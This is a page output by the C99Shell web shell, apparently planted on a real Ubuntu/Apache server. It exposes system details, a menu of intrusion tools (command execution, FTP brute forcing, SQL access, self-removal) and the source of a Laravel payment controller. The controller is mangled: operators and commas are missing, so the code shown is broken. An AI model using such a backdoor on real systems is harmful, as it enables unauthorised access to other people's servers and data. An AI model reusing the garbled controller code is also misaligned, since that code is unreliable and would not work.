!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/main_file/app/Http/Controllers/   drwxrwxr-x
Free 13.16 GB of 57.97 GB (22.71%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PaymentController.php (12.63 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Models\BankAccount;
use 
App\Models\BillPayment;
use 
App\Models\Payment;
use 
App\Models\ProductServiceCategory;
use 
App\Models\Transaction;
use 
App\Models\Utility;
use 
App\Models\Vender;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\Mail;

class 
PaymentController extends Controller
{

    public function 
index(Request $request)
    {
        if(
\Auth::user()->can('manage payment'))
        {
            
$vender Vender::where('created_by''='\Auth::user()->creatorId())->get()->pluck('name''id');
            
$vender->prepend('Select Vendor''');

            
$account BankAccount::where('created_by''='\Auth::user()->creatorId())->get()->pluck('holder_name''id');
            
$account->prepend('Select Account''');

            
$category ProductServiceCategory::where('created_by''='\Auth::user()->creatorId())->where('type''='2)->get()->pluck('name''id');
            
$category->prepend('Select Category''');


            
$query Payment::where('created_by''='\Auth::user()->creatorId());

            if(!empty(
$request->date))
            {
                
$date_range explode('to'$request->date);
                
$query->whereBetween('date'$date_range);
            }

            if(!empty(
$request->vender))
            {
                
$query->where('id''='$request->vender);
            }
            if(!empty(
$request->account))
            {
                
$query->where('account_id''='$request->account);
            }

            if(!empty(
$request->category))
            {
                
$query->where('category_id''='$request->category);
            }


            
$payments $query->get();


            return 
view('payment.index'compact('payments''account''category''vender'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }


    public function 
create()
    {
        if(
\Auth::user()->can('create payment'))
        {
            
$venders Vender::where('created_by''='\Auth::user()->creatorId())->get()->pluck('name''id');
            
$venders->prepend('--'0);
            
$categories ProductServiceCategory::where('created_by''='\Auth::user()->creatorId())->where('type''='2)->get()->pluck('name''id');
            
$accounts   BankAccount::select('*'\DB::raw("CONCAT(bank_name,' ',holder_name) AS name"))->where('created_by'\Auth::user()->creatorId())->get()->pluck('name''id');

            return 
view('payment.create'compact('venders''categories''accounts'));
        }
        else
        {
            return 
response()->json(['error' => __('Permission denied.')], 401);
        }
    }


    public function 
store(Request $request)
    {

//        dd($request->all());

        
if(\Auth::user()->can('create payment'))
        {

            
$validator \Validator::make(
                
$request->all(), [
                                   
'date' => 'required',
                                   
'amount' => 'required',
                                   
'account_id' => 'required',
                                   
'category_id' => 'required',
                               ]
            );
            if(
$validator->fails())
            {
                
$messages $validator->getMessageBag();

                return 
redirect()->back()->with('error'$messages->first());
            }

            
$payment                 = new Payment();
            
$payment->date           $request->date;
            
$payment->amount         $request->amount;
            
$payment->account_id     $request->account_id;
            
$payment->vender_id      $request->vender_id;
            
$payment->category_id    $request->category_id;
            
$payment->payment_method 0;
            
$payment->reference      $request->reference;
//            if(!empty($request->add_receipt))
//            {
//                $fileName = time() . "_" . $request->add_receipt->getClientOriginalName();
//                $request->add_receipt->storeAs('uploads/payment', $fileName);
//                $payment->add_receipt = $fileName;
//            }

            
if(!empty($request->add_receipt))
            {

                if(
$payment->add_receipt)
                {
                    
$path storage_path('uploads/payment' $payment->add_receipt);
                    if(
file_exists($path))
                    {
                        
\File::delete($path);
                    }
                }
                
$fileName time() . "_" $request->add_receipt->getClientOriginalName();
                
$payment->add_receipt $fileName;
                
$dir        'uploads/payment';
                
$path Utility::upload_file($request,'add_receipt',$fileName,$dir,[]);
                if(
$path['flag']==0){
                    return 
redirect()->back()->with('error'__($path['msg']));
                }
//                $request->add_receipt  = $path['url'];
//                $payment->save();
            
}


            
$payment->description    $request->description;
            
$payment->created_by     \Auth::user()->creatorId();
            
$payment->save();

            
$category            ProductServiceCategory::where('id'$request->category_id)->first();
            
$payment->payment_id $payment->id;
            
$payment->type       'Payment';
            
$payment->category   $category->name;
            
$payment->user_id    $payment->vender_id;
            
$payment->user_type  'Vender';
            
$payment->account    $request->account_id;

            
Transaction::addTransaction($payment);

            
$vender          Vender::where('id'$request->vender_id)->first();
            
$payment         = new BillPayment();
            
$payment->name   = !empty($vender) ? $vender['name'] : '' ;
            
$payment->method '-';
            
$payment->date   \Auth::user()->dateFormat($request->date);
            
$payment->amount \Auth::user()->priceFormat($request->amount);
            
$payment->bill   '';

            if(!empty(
$vender))
            {
                
Utility::userBalance('vendor'$vender->id$request->amount'debit');
            }

            
Utility::bankAccountBalance($request->account_id$request->amount'debit');

//            try
//            {
//                Mail::to($vender['email'])->send(new BillPaymentCreate($payment));
//            }
//            catch(\Exception $e)
//            {
//                $smtp_error = __('E-Mail has been not sent due to SMTP configuration');
//            }

            //Twilio Notification
            
$setting  Utility::settings(\Auth::user()->creatorId());
            
$vender Vender::find($request->vender_id);
            if(isset(
$setting['payment_notification']) && $setting['payment_notification'] ==1)
            {
                
$msg __("New payment of").' ' \Auth::user()->priceFormat($request->amount) . __("created for").' ' $vender->name __("by").' '.  $payment->type '.';
                
Utility::send_twilio_msg($vender->contact,$msg);
            }


            return 
redirect()->route('payment.index')->with('success'__('Payment successfully created.'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }

    public function 
edit(Payment $payment)
    {

        if(
\Auth::user()->can('edit payment'))
        {
            
$venders Vender::where('created_by''='\Auth::user()->creatorId())->get()->pluck('name''id');
            
$venders->prepend('--'0);
            
$categories ProductServiceCategory::where('created_by''='\Auth::user()->creatorId())->get()->where('type''='2)->pluck('name''id');

            
$accounts BankAccount::select('*'\DB::raw("CONCAT(bank_name,' ',holder_name) AS name"))->where('created_by'\Auth::user()->creatorId())->get()->pluck('name''id');

            return 
view('payment.edit'compact('venders''categories''accounts''payment'));
        }
        else
        {
            return 
response()->json(['error' => __('Permission denied.')], 401);
        }
    }


    public function 
update(Request $requestPayment $payment)
    {
        if(
\Auth::user()->can('edit payment'))
        {

            
$validator \Validator::make(
                
$request->all(), [
                                   
'date' => 'required',
                                   
'amount' => 'required',
                                   
'account_id' => 'required',
                                   
'vender_id' => 'required',
                                   
'category_id' => 'required',
                               ]
            );
            if(
$validator->fails())
            {
                
$messages $validator->getMessageBag();

                return 
redirect()->back()->with('error'$messages->first());
            }
            
$vender Vender::where('id'$request->vender_id)->first();
            if(!empty(
$vender))
            {
                
Utility::userBalance('vendor'$vender->id$payment->amount'credit');
            }
            
Utility::bankAccountBalance($payment->account_id$payment->amount'credit');

            
$payment->date           $request->date;
            
$payment->amount         $request->amount;
            
$payment->account_id     $request->account_id;
            
$payment->vender_id      $request->vender_id;
            
$payment->category_id    $request->category_id;
            
$payment->payment_method 0;
            
$payment->reference      $request->reference;

//            if(!empty($request->add_receipt))
//            {
//                $fileName = time() . "_" . $request->add_receipt->getClientOriginalName();
//                $request->add_receipt->storeAs('uploads/payment', $fileName);
//                $payment->add_receipt = $fileName;
//            }

            
if(!empty($request->add_receipt))
            {

                if(
$payment->add_receipt)
                {
                    
$path storage_path('uploads/payment' $payment->add_receipt);
                    if(
file_exists($path))
                    {
                        
\File::delete($path);
                    }
                }
                
$fileName time() . "_" $request->add_receipt->getClientOriginalName();
                
$payment->add_receipt $fileName;
                
$dir        'uploads/payment';
                
$path Utility::upload_file($request,'add_receipt',$fileName,$dir,[]);
                if(
$path['flag']==0){
                    return 
redirect()->back()->with('error'__($path['msg']));
                }
//                $request->add_receipt  = $fileName;
//                $payment->save();
            
}


            
$payment->description    $request->description;
            
$payment->save();

            
$category            ProductServiceCategory::where('id'$request->category_id)->first();
            
$payment->category   $category->name;
            
$payment->payment_id $payment->id;
            
$payment->type       'Payment';
            
$payment->account    $request->account_id;
            
Transaction::editTransaction($payment);

            if(!empty(
$vender))
            {
                
Utility::userBalance('vendor'$vender->id$request->amount'debit');
            }

            
Utility::bankAccountBalance($request->account_id$request->amount'debit');

            return 
redirect()->route('payment.index')->with('success'__('Payment successfully updated.'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }


    public function 
destroy(Payment $payment)
    {
        if(
\Auth::user()->can('delete payment'))
        {
            if(
$payment->created_by == \Auth::user()->creatorId())
            {
                
$payment->delete();
                
$type 'Payment';
                
$user 'Vender';
                
Transaction::destroyTransaction($payment->id$type$user);

                if(
$payment->vender_id != 0)
                {
                    
Utility::userBalance('vendor'$payment->vender_id$payment->amount'credit');
                }
                
Utility::bankAccountBalance($payment->account_id$payment->amount'credit');

                return 
redirect()->route('payment.index')->with('success'__('Payment successfully deleted.'));
            }
            else
            {
                return 
redirect()->back()->with('error'__('Permission denied.'));
            }
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0098 ]--